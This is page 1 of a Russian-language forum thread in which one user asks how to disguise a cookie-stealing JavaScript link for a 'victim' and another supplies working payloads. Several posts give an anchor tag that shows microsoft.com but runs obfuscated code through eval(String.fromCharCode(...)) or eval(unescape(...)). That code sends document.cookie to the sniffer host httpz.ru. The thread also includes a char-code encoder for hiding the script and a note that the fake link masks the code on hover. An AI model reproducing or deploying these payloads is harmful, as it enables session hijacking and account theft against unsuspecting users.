javascript

Discussion in 'PHP' started by 5ball, 25 Jul 2011.

Page 1 of 2
  1. 5ball

    5ball New Member

    Joined:
    23 Jul 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    Как замаскировать javascript под ссылку, т.е. нету возможности сделать так, чтобы жертва вставила javascript в адресную строчку.
     
    #1 5ball, 25 Jul 2011
  2. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Создать ссыль на страничку, с заранее прописаным в ней скриптом.
    З.Ы. каникулы в разгаре.
     
    #2 shadowrun, 25 Jul 2011
  3. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    <a href="http://microsoft.com" onClick="alert(1);">Microsoft</a>
     
    #3 |qbz|, 25 Jul 2011
  4. 5ball

    5ball New Member

    Joined:
    23 Jul 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    Вот допустим мой javascript:

    javascript:document.write('<script>img = new Image(); img.src = "http://www?"+document.cookie;</script>')

    Как замаскировать?
     
    #4 5ball, 25 Jul 2011
  5. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    <a href="http://microsoft.com/" onClick="eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 39, 60, 115, 99, 114, 105, 112, 116, 62, 105, 109, 103, 32, 61, 32, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 59, 32, 105, 109, 103, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 63, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62, 39, 41))">MS</a>
     
    #5 |qbz|, 25 Jul 2011
  6. 5ball

    5ball New Member

    Joined:
    23 Jul 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    Как это делается?
     
    #6 5ball, 25 Jul 2011
  7. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Ты бы хоть спасибо научился говорить. Сам найдешь как это делается.
     
    #7 |qbz|, 25 Jul 2011
  8. 5ball

    5ball New Member

    Joined:
    23 Jul 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    Сделай для моего JavaScript'a:
     
    #8 5ball, 25 Jul 2011
  9. 5ball

    5ball New Member

    Joined:
    23 Jul 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    В репу +1 хватит?
    P.S. Спасибо я скажу обязательно, не переживай :)
     
    #9 5ball, 25 Jul 2011
  10. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    <a href="http://microsoft.com/" onClick="eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 39, 60, 115, 99, 114, 105, 112, 116, 62, 105, 109, 103, 32, 61, 32, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 59, 32, 105, 109, 103, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 104, 116, 116, 112, 122, 46, 114, 117, 47, 110, 49, 49, 55, 97, 101, 101, 106, 119, 115, 118, 46, 103, 105, 102, 63, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62, 39, 41))">MS</a>

    репу себе оставь
     
    #10 |qbz|, 25 Jul 2011
  11. 5ball

    5ball New Member

    Joined:
    23 Jul 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    Всё, поставил в репу.
    Скажи, как это делается или хоть намекни, пожалуйста.
     
    #11 5ball, 25 Jul 2011
  12. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    HTML:
    <html>
<script>
function enc()
{
	var data = document.getElementById('lol').innerText.split('');
	var c = [];
	for (var a in data)
	{
		c[a] = data[a].charCodeAt();
	}
	 document.getElementById('lol').innerText = c.join(', ');
}
</script>
<textarea id="lol"></textarea>
<input type="button" onClick="enc();" value="Kodirovat">
</html>
     
    #12 |qbz|, 25 Jul 2011
  13. 5ball

    5ball New Member

    Joined:
    23 Jul 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    А что с этим делать?
     
    #13 5ball, 25 Jul 2011
  14. 5ball

    5ball New Member

    Joined:
    23 Jul 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    Всё, разобрался. Огромное спасибо тебе!
     
    #14 5ball, 25 Jul 2011
  15. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    ох ппц, создай файл с расширением html, скопируй мой код и запусти через браузер. в поле вставишь код для шифровки, нажмешь кнопку и получишь циферки. думай уже, чтоле.
     
    #15 |qbz|, 25 Jul 2011
    1 person likes this.
  16. 5ball

    5ball New Member

    Joined:
    23 Jul 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    А ссылка на сайт Microsoft - это редирект?
     
    #16 5ball, 25 Jul 2011
  17. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    это фейк, чтобы при наводе на ссылку был виден адрес сайта, а не этот страшный код
     
    #17 |qbz|, 25 Jul 2011
  18. 5ball

    5ball New Member

    Joined:
    23 Jul 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    Я вот создал два профиля на форуме. Присылаю ЛС одному с ссылкой, которая замоскирована так:
    Жмякаю по ссылке, но в логах на сниффере ничего не появляется.
     
    #18 5ball, 25 Jul 2011
  19. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    проверь код, в адресной строке у себя запусти (перейдите по ссылке):
    javascript:alert(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 39, 60, 115, 99, 114, 105, 112, 116, 62, 105, 109, 103, 32, 61, 32, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 59, 32, 105, 109, 103, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 104, 116, 116, 112, 122, 46, 114, 117, 47, 110, 49, 49, 55, 97, 101, 101, 106, 119, 115, 118, 46, 103, 105, 102, 63, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62, 39, 41));
     
    #19 |qbz|, 25 Jul 2011
  20. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    <a href="http://microsoft.com/" onClick="eval(unescape('i%3Dnew+Image%28%29%3Bi.src%3D%22http%3A%2F%2Fhttpz.ru%2Fn117aeejwsv.gif%3F%22%2Bescape%28document.cookie%29%3B'));">MS</a>

    пробел убери ток, булка режет
     
    #20 |qbz|, 25 Jul 2011
(You must log in or sign up to post here.)
Page 1 of 2